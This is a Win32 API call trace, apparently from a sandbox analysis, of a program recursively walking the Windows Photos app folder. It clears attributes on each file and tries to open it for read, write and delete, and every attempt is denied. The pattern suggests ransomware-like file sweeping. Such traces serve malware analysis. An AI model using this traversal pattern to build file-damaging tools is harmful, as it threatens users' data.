	[0090.971] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\PhtoMDL2.1.61.ttf", dwFileAttributes=0x20) returned 0
	[0090.971] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\PhtoMDL2.1.61.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\appcs\\assets\\phtomdl2.1.61.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.971] GetLastError () returned 0x5
	[0090.971] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\PhtoMDL2.1.61.ttf", dwFileAttributes=0x20) returned 0
	[0090.971] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b550) returned 1
	[0090.971] FindNextFileW (in: hFindFile=0x477b2a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846696fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8468f958, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8468f958, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5778, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhtoMDL2.1.61.ttf", cAlternateFileName="")) returned 0
	[0090.971] FindClose (in: hFindFile=0x477b2a8 | out: hFindFile=0x477b2a8) returned 1
	[0090.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0090.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12ab8) returned 1
	[0090.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718b70) returned 1
	[0090.972] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x846696fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb113ea79, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x846696fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 0
	[0090.972] FindClose (in: hFindFile=0x477b368 | out: hFindFile=0x477b368) returned 1
	[0090.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925838) returned 1
	[0090.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb1c0) returned 1
	[0090.972] FindNextFileW (in: hFindFile=0x46a73d0, lpFindFileData=0x470fe58 | out: lpFindFileData=0x470fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84538422, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84538422, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84538422, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17218, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0090.972] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0090.972] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0090.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12e18
	[0090.972] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe"
	[0090.972] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\"
	[0090.972] wcscat (in: _Dest=0x2e12e18, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.972] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.972] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.973] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.973] GetLastError () returned 0x5
	[0090.973] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.973] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0090.973] FindNextFileW (in: hFindFile=0x46a73d0, lpFindFileData=0x470fe58 | out: lpFindFileData=0x470fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845121d2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84538422, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84538422, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe9ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.973] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.973] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.973] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12ab8
	[0090.973] wcscpy (in: _Dest=0x2e12ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe"
	[0090.973] wcscat (in: _Dest=0x2e12ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\"
	[0090.973] wcscat (in: _Dest=0x2e12ab8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.973] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.973] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.973] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.973] GetLastError () returned 0x5
	[0090.973] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.973] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12ab8) returned 1
	[0090.973] FindNextFileW (in: hFindFile=0x46a73d0, lpFindFileData=0x470fe58 | out: lpFindFileData=0x470fe58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845848da, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb113f7c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x845848da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.973] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.974] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4717c00
	[0090.974] wcscpy (in: _Dest=0x4717c00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe"
	[0090.974] wcscat (in: _Dest=0x4717c00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\"
	[0090.974] wcscat (in: _Dest=0x4717c00, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12c68
	[0090.974] wcscpy (in: _Dest=0x2e12c68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.974] wcscat (in: _Dest=0x2e12c68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.974] wcscat (in: _Dest=0x2e12c68, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c948
	[0090.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845848da, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb113f7c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x845848da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477afa8
	[0090.974] wcscmp (_String1=".", _String2=".") returned 0
	[0090.974] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845848da, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb113f7c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x845848da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.974] wcscmp (_String1="..", _String2=".") returned 1
	[0090.974] wcscmp (_String1="..", _String2="..") returned 0
	[0090.974] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845848da, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x845848da, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x845848da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x39db, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0090.974] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0090.974] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0090.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491cb98
	[0090.974] wcscpy (in: _Dest=0x491cb98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.974] wcscat (in: _Dest=0x491cb98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.974] wcscat (in: _Dest=0x491cb98, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0090.974] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0090.978] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.978] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.978] GetLastError () returned 0x5
	[0090.978] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.978] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491cb98) returned 1
	[0090.978] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845848da, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x845848da, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x845848da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x39db, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0090.978] FindClose (in: hFindFile=0x477afa8 | out: hFindFile=0x477afa8) returned 1
	[0090.979] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c948) returned 1
	[0090.979] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12c68) returned 1
	[0090.979] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717c00) returned 1
	[0090.979] FindNextFileW (in: hFindFile=0x46a73d0, lpFindFileData=0x470fe58 | out: lpFindFileData=0x470fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84538422, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8455e680, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8455e680, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.979] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.979] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477df50
	[0090.979] wcscpy (in: _Dest=0x477df50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe"
	[0090.979] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\"
	[0090.979] wcscat (in: _Dest=0x477df50, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.979] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.979] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.979] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.979] GetLastError () returned 0x5
	[0090.979] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.979] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.979] FindNextFileW (in: hFindFile=0x46a73d0, lpFindFileData=0x470fe58 | out: lpFindFileData=0x470fe58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8468f958, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb120ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x85423bf4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.979] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.979] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925ce8
	[0090.979] wcscpy (in: _Dest=0x4925ce8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe"
	[0090.980] wcscat (in: _Dest=0x4925ce8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\"
	[0090.980] wcscat (in: _Dest=0x4925ce8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4925838
	[0090.980] wcscpy (in: _Dest=0x4925838, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.980] wcscat (in: _Dest=0x4925838, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.980] wcscat (in: _Dest=0x4925838, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0090.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8468f958, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb120ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x85423bf4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b128
	[0090.981] wcscmp (_String1=".", _String2=".") returned 0
	[0090.981] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8468f958, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb120ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x85423bf4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.985] wcscmp (_String1="..", _String2=".") returned 1
	[0090.985] wcscmp (_String1="..", _String2="..") returned 0
	[0090.985] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8468f958, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8468f958, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8468f958, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0090.985] wcscmp (_String1="PhotosAppList.contrast-black_scale-200.png", _String2=".") returned 1
	[0090.985] wcscmp (_String1="PhotosAppList.contrast-black_scale-200.png", _String2="..") returned 1
	[0090.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x112) returned 0x4771868
	[0090.986] wcscpy (in: _Dest=0x4771868, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
